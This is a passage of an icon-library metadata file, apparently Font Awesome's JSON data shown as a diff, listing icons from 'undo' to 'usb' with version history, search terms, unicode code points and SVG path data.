0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "undo": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "control z", + "exchange", + "oops", + "return", + "rotate", + "swap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0e2", + "label": "Undo", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635778, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z" + } + }, + "free": [ + "solid" + ] + }, + "undo-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "control z", + "exchange", + "oops", + "return", + "swap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2ea", + "label": "Alternate Undo", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635778, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z" + } + }, + "free": [ + "solid" + ] + }, + "uniregistry": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f404", + "label": "Uniregistry", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722340, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z" + } + }, + "free": [ + "brands" + ] + }, + "unity": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e049", + "label": "Unity 3D", + "voted": true, + "svg": { + "brands": { + "last_modified": 1573074807769, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z" + } + }, + "free": [ + "brands" + ] + }, + "universal-access": { + "changes": [ + "4.6", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "accessibility", + "hearing", + "person", + "seeing", + "visual impairment" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f29a", + "label": "Universal Access", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635779, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z" + } + }, + "free": [ + "solid" + ] + }, + "university": { + "changes": [ + "4.1", + "5.0.0", + "5.0.3", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "bank", + "building", + "college", + "higher education - students", + "institution" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f19c", + "label": "University", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635779, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z" + } + }, + "free": [ + "solid" + ] + }, + "unlink": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "attachment", + "chain", + "chain-broken", + "remove" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f127", + "label": "unlink", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635779, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z" + } + }, + "free": [ + "solid" + ] + }, + "unlock": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "lock", + "password", + "private", + "protect" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f09c", + "label": "unlock", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635780, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "unlock-alt": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "lock", + "password", + "private", + "protect" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f13e", + "label": "Alternate Unlock", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635780, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z" + } + }, + "free": [ + "solid" + ] + }, + "unsplash": { + "changes": [ + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e07c", + "label": "Unsplash", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539202, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z" + } + }, + "free": [ + "brands" + ] + }, + "untappd": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f405", + "label": "Untappd", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861026, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z" + } + }, + "free": [ + "brands" + ] + }, + "upload": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "hard drive", + "import", + "publish" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f093", + "label": "Upload", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635780, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z" + } + }, + "free": [ + "solid" + ] + }, + "ups": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "United Parcel Service", + "package", + "shipping" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7e0", + "label": "UPS", + "svg": { + "brands": { + "last_modified": 1558987775924, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z" + } + }, + "free": [ + "brands" + ] + }, + "usb": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f287", + "label": "USB", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861026, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 